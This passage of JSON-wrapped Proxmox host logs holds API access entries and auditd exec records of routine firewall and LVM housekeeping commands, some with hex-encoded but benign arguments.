{"@timestamp":1781965458716,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781964555621,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.621:61516): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966166026,"@rawstring":"node=pve type=EXECVE msg=audit(1781966166.026:68717): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964906078,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964906.078:63168): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60612 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965588574,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965588.574:66252): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63632 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964140611,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781964155884,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.884:59819): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae2ea0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57445 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166026,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.026:68717): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65990 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965456684,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:15 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 911"} {"@timestamp":1781964555620,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.620:61515): argc=1 a0=\"date\""} {"@timestamp":1781966166018,"@rawstring":"node=pve type=EXECVE msg=audit(1781966166.018:68716): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964906078,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964906.078:63167): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60612 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965588574,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965588.574:66251): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63632 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964139605,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781964155878,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.878:59818): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57444 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166018,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.018:68716): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65989 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965456684,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:15 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964555616,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.616:61513): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966166013,"@rawstring":"node=pve type=EXECVE msg=audit(1781966166.013:68715): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964906071,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964906.071:63165): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60611 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585886,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.886:66247): arch=c000003e syscall=59 success=no exit=-2 a0=7fffdbba0f90 a1=607eaf044310 a2=607eaf03d680 a3=5 items=1 ppid=63625 pid=63626 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964138607,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:17 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 840"} {"@timestamp":1781964155871,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.871:59817): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57443 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166013,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.013:68715): arch=c000003e syscall=59 success=yes exit=0 a0=5d9c6d738d70 a1=5d9c6d744f80 a2=5d9c6d712680 a3=5 items=2 ppid=65982 pid=65988 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965456684,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781964555610,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.610:61512): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966166009,"@rawstring":"node=pve type=EXECVE msg=audit(1781966166.009:68714): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964906071,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964906.071:63164): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60611 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585647,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.647:66229): arch=c000003e syscall=59 success=no exit=-2 a0=7fff4c48f6d0 a1=5cf7481df410 a2=5cf7481bd680 a3=5 items=1 ppid=63606 pid=63607 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964136580,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781964155867,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.867:59816): arch=c000003e syscall=59 success=yes exit=0 a0=60ee1878b0a0 a1=60ee18787e20 a2=60ee18769680 a3=5 items=2 ppid=57436 pid=57442 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166009,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.009:68714): arch=c000003e syscall=59 success=yes exit=0 a0=5d9c4ff39ac8 a1=7fff92d89aa0 a2=5d9c6d712680 a3=5d9c4ff1d24e items=2 ppid=65982 pid=65984 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455682,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964555603,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.603:61511): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966166008,"@rawstring":"node=pve type=EXECVE msg=audit(1781966166.008:68713): argc=1 a0=\"date\""} {"@timestamp":1781964905289,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.289:63160): arch=c000003e syscall=59 success=no exit=-2 a0=7fffe7e60c10 a1=619e9e695310 a2=619e9e68e680 a3=5 items=1 ppid=60604 pid=60605 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965583561,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965583.561:66219): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955ab0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63596 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964135574,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 461"} {"@timestamp":1781964155864,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.864:59815): arch=c000003e syscall=59 success=yes exit=0 a0=60ee05f12ac8 a1=7ffc64084890 a2=60ee18769680 a3=60ee05ef624e items=2 ppid=57436 pid=57438 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166008,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.008:68713): arch=c000003e syscall=59 success=yes exit=0 a0=7fff92d89a60 a1=5d9c6d734410 a2=5d9c6d712680 a3=5 items=2 ppid=65982 pid=65983 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455682,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:14 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964555599,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.599:61510): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966166003,"@rawstring":"node=pve type=EXECVE msg=audit(1781966166.003:68711): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964905206,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.206:63142): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc15ec2ed0 a1=6297fd48c410 a2=6297fd46a680 a3=5 items=1 ppid=60585 pid=60586 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965583561,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965583.561:66218): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955ab0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63596 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964132645,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:11 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 850"} {"@timestamp":1781964155863,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.863:59814): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc64084850 a1=60ee18770310 a2=60ee18769680 a3=5 items=2 ppid=57436 pid=57437 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166003,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.003:68711): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65982 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965454694,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:13 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 934"} {"@timestamp":1781964555594,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.594:61509): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966165995,"@rawstring":"node=pve type=EXECVE msg=audit(1781966165.995:68710): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964901063,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964901.063:63132): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60573 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965583547,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965583.547:66216): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899559f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63595 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964132645,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1079"} {"@timestamp":1781964155859,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.859:59812): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57436 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966165995,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966165.995:68710): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65981 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965454694,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781964555587,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.587:61508): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966165988,"@rawstring":"node=pve type=EXECVE msg=audit(1781966165.988:68709): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964901063,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964901.063:63131): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60573 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965583547,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965583.547:66215): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899559f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63595 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964131639,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781964155852,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.852:59811): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57435 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966165988,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966165.988:68709): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65980 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965452684,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964554823,"@rawstring":"node=pve type=EXECVE msg=audit(1781964554.823:61507): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966165981,"@rawstring":"node=pve type=EXECVE msg=audit(1781966165.981:68708): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964901057,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964901.057:63129): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60572 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965578536,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965578.536:66213): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955930 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63594 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964128612,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1079"} {"@timestamp":1781964155845,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.845:59810): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57434 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966165981,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966165.981:68708): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0d96c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65979 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965452684,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:11 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 941"} {"@timestamp":1781964554812,"@rawstring":"node=pve type=EXECVE msg=audit(1781964554.812:61504): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966165972,"@rawstring":"node=pve type=EXECVE msg=audit(1781966165.972:68707): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964901057,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964901.057:63128): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60572 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965578536,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965578.536:66212): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955930 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63594 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964127615,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964155840,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.840:59809): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e0120 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57433 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966165972,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966165.972:68707): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13ad20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65978 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965452684,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964554420,"@rawstring":"node=pve type=EXECVE msg=audit(1781964554.420:61501): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966165955,"@rawstring":"node=pve type=EXECVE msg=audit(1781966165.955:68706): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964896047,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964896.047:63126): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60571 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965578527,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965578.527:66210): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955870 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63593 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964126594,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:05 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 843"} {"@timestamp":1781964155833,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.833:59808): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139ae0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57432 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966165955,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966165.955:68706): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12dcd0 